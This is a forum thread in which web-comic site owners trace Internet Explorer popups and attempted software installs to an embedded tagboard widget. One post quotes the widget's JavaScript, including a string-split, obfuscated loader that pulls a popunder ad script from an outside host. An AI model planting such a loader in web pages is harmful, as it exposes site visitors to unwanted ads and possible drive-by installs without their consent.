Popups from CG using Internet Explorer

[Ataraxia]

When I view CG sites at work I always use firefox. Today, one of my co-workers asked to look at my comic site, so I gave her the URL. She typed it into internet explorer, and was immediately accosted by a series of popups.

I figured that her computer was probably infected with adware, so I tried it on my computer- same deal. I downloaded AdAware and did a complete system scan; the popups are still there.

Any idea what's going on? She says this doesn't happen with other sites,

[Dr Neo Lao]

I looked at your site with FF and got 1 error, but that was just a style rule error (nb: you need to update your doctype declaration).

I opened it up in IE and was immediately accosted by a bunch of pop-ups, two things trying to install themselves and something tried to bypass my security.

Having had a hard look at your site and code, the only thing that was different was your tagboard.

And it is, that's the cause. If you put your tagboard's individual code into IE, it gives the same effect:

http://www.tag-board.org/tag.php?username=pyrrho12

Either one of the posters added a nasty code into their message, or tagboard.org is a bad provider to use. I'm not sure which of the two it is.

[Kisai]

Tagboards are known for doing this. It's definitely not CG.

[Black Sparrow]

Looks like it's Tagboard.org... I just checked with the tagboard on MY site, and it showered me with Downloaders. Vith, I switched to Tagboard.org because my OTHER provider was doing this.

[Ataraxia]

Looks like it's Tagboard.org... I just checked with the tagboard on MY site, and it showered me with Downloaders. Vith, I switched to Tagboard.org because my OTHER provider was doing this.

That's why I went with tagboard.org, I heard they were reliable. Oh well.

Thanks to Dr.Neo Lao for finding the problem so quickly. Now I have to remove the tagboard from my pages and do an update.

Kisai- I didn't expect that CG was behind the popups, I know that you guys run a tight ship.

[JTorch]

If it helps, my board from http://www.shoutmix.com doesn't seem to spawn any popups, and everything (size and colours at least, maybe more) is totally customizable. You can see it in action in the middle of my comic page (sig).

[Dr Neo Lao]

I thought it might be a user posting some hidden pop-up codes in their message, so I had a look at the code for the tagboard itself (linked in my post above). I don't know a whole lot about javascript, but I find these two scripts highly suspicious:

Code: Select all

<script language="javascript" type="text/javascript">
function online() {
   window.open('online.php?username=pyrrho12','pop_online','height=250, width=150,resizable=no,scrollbars=yes,status=no');
}
function sendmail(user,domain) {
   document.location.href = "mailto:" + user + "@" + domain;
}
</script>

Code: Select all

<script language="JavaScript1.1">
if (typeof(paypopupScriptStart) == 'undefined') {var paypopupScriptStart = false;}
if (!paypopupScriptStart) {
   document.write('<scr'+'ipt src="http://po'+'punder.ads'+'reve'+'nue.net/popup.php?'+(new Date()).getTime()+'&id=tagworld&pop=enter&t=5&subid=61332&blk=1&fc=0.2"></scr'+'ipt>');
   paypopupScriptStart = true;
}
</script>

Both of which are straight from tag-board.org's own code. I mean, if they are going to do that, I don't see why it would be so hard to simply have a <script src="blah blah blah/tag.js"> function. They couldn't even be bothered not naming the variable "popup"! That's just lazy.

Edit: okay, looking at the top one, it looks to me to be a script that sends a message to the tagboard 'owner' letting them know that a message has been added. The bottom one however...

[Rkolter]

The slowness of tag-board.org and the occasional popups and spammers made me switch to a cbox. Haven't had a lick of trouble.